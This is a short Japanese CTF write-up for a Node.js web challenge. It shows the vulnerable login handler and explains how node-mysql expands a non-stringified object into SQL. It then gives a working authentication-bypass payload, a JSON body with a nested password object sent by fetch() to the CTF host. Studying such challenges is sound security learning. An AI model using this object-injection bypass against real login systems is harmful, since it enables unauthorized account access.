24th HackingCamp CTF node sqli [WEB]


app.post('/login', (req, res) => {
    var userid = req.body.userid;
    var userpw = req.body.userpw;

    if (userid && userpw) {
        connection.query("SELECT * FROM users WHERE userid = ? AND userpw = ?",
            [ userid, userpw ],
            (error, results, fields) => {
                if (error) throw error;

                console.log(userid, results)

                if (results.length > 0) {
                    req.session.user = userid;
                    res.redirect('/');
                } else {
                    res.send("wrong userid or userpw");
                }
                
                res.end();
            }
        );
    } else {
        res.send("userid or userpw cannot be empty");
    }
});
最後の問題だこれは問題の画面と提供されたコードの一部です.(ほぼlogin pageコードしかないのでそれだけ添付しました)
この問題はnodejsmysqlの弱点と呼ばれている.これは,入力した値にstringfiobjectsがない場合にobject自体が入力値として利用できる弱点である.
https://harold.kim/blog/2022/02/nodejs-mysql-vulnerability/
このブログの文章を読むと分かりやすいです.
data = {
  "userid": "admin",
  "userpw": {
    "userpw": 1
  }
}

fetch("http://ctf-hackingcamp.com:32002/login", {
  "headers": {
    "content-type": "application/json",
  },
  "body": JSON.stringify(data),
  "method": "POST",
})
.then(r => r.text())
.then(r => { console.log(r); });
このコードをコンソールに入力すればいいのですが、なぜuserpw[userpw]=1をburp suiteとして渡すことができないのか疑問です.
fetchについてよく知らなかったのでjavascriptベースまで掘ってしまいました...ajax、xhr、xmlなど見てもよくわかりません.今はまだよく理解していませんが、やったら理解できると約束します.いつものように.
solved